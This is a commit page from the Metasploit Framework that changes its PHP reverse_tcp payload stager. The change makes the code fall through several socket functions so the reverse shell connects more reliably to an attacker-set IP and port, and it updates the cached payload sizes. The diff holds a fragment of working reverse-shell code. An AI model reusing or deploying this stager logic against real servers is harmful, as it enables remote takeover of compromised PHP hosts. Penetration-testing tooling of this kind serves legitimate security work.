Skip to content

Commit 14b37c2

Browse files
committed
Land rapid7#8691, Improve php reverse_tcp stager logic
2 parents db8698e + 653890f commit 14b37c2

File tree

3 files changed

+8
-5
lines changed

3 files changed

+8
-5
lines changed

lib/msf/core/payload/php/reverse_tcp.rb

Lines changed: 6 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -60,15 +60,18 @@ def generate_reverse_tcp(opts={})
6060
if (($f = 'stream_socket_client') && is_callable($f)) {
6161
$s = $f("tcp://{$ip}:{$port}");
6262
$s_type = 'stream';
63-
} elseif (($f = 'fsockopen') && is_callable($f)) {
63+
}
64+
if (!$s && ($f = 'fsockopen') && is_callable($f)) {
6465
$s = $f($ip, $port);
6566
$s_type = 'stream';
66-
} elseif (($f = 'socket_create') && is_callable($f)) {
67+
}
68+
if (!$s && ($f = 'socket_create') && is_callable($f)) {
6769
$s = $f(#{ipf}, SOCK_STREAM, SOL_TCP);
6870
$res = @socket_connect($s, $ip, $port);
6971
if (!$res) { die(); }
7072
$s_type = 'socket';
71-
} else {
73+
}
74+
if (!$s_type) {
7275
die('no socket funcs');
7376
}
7477
if (!$s) { die('no socket'); }

modules/payloads/stagers/php/reverse_tcp.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -8,7 +8,7 @@
88

99
module MetasploitModule
1010

11-
CachedSize = 951
11+
CachedSize = 966
1212

1313
include Msf::Payload::Stager
1414
include Msf::Payload::Php::ReverseTcp

modules/payloads/stagers/php/reverse_tcp_uuid.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -8,7 +8,7 @@
88

99
module MetasploitModule
1010

11-
CachedSize = 1125
11+
CachedSize = 1140
1212

1313
include Msf::Payload::Stager
1414
include Msf::Payload::Php::ReverseTcp

0 commit comments

Comments
 (0)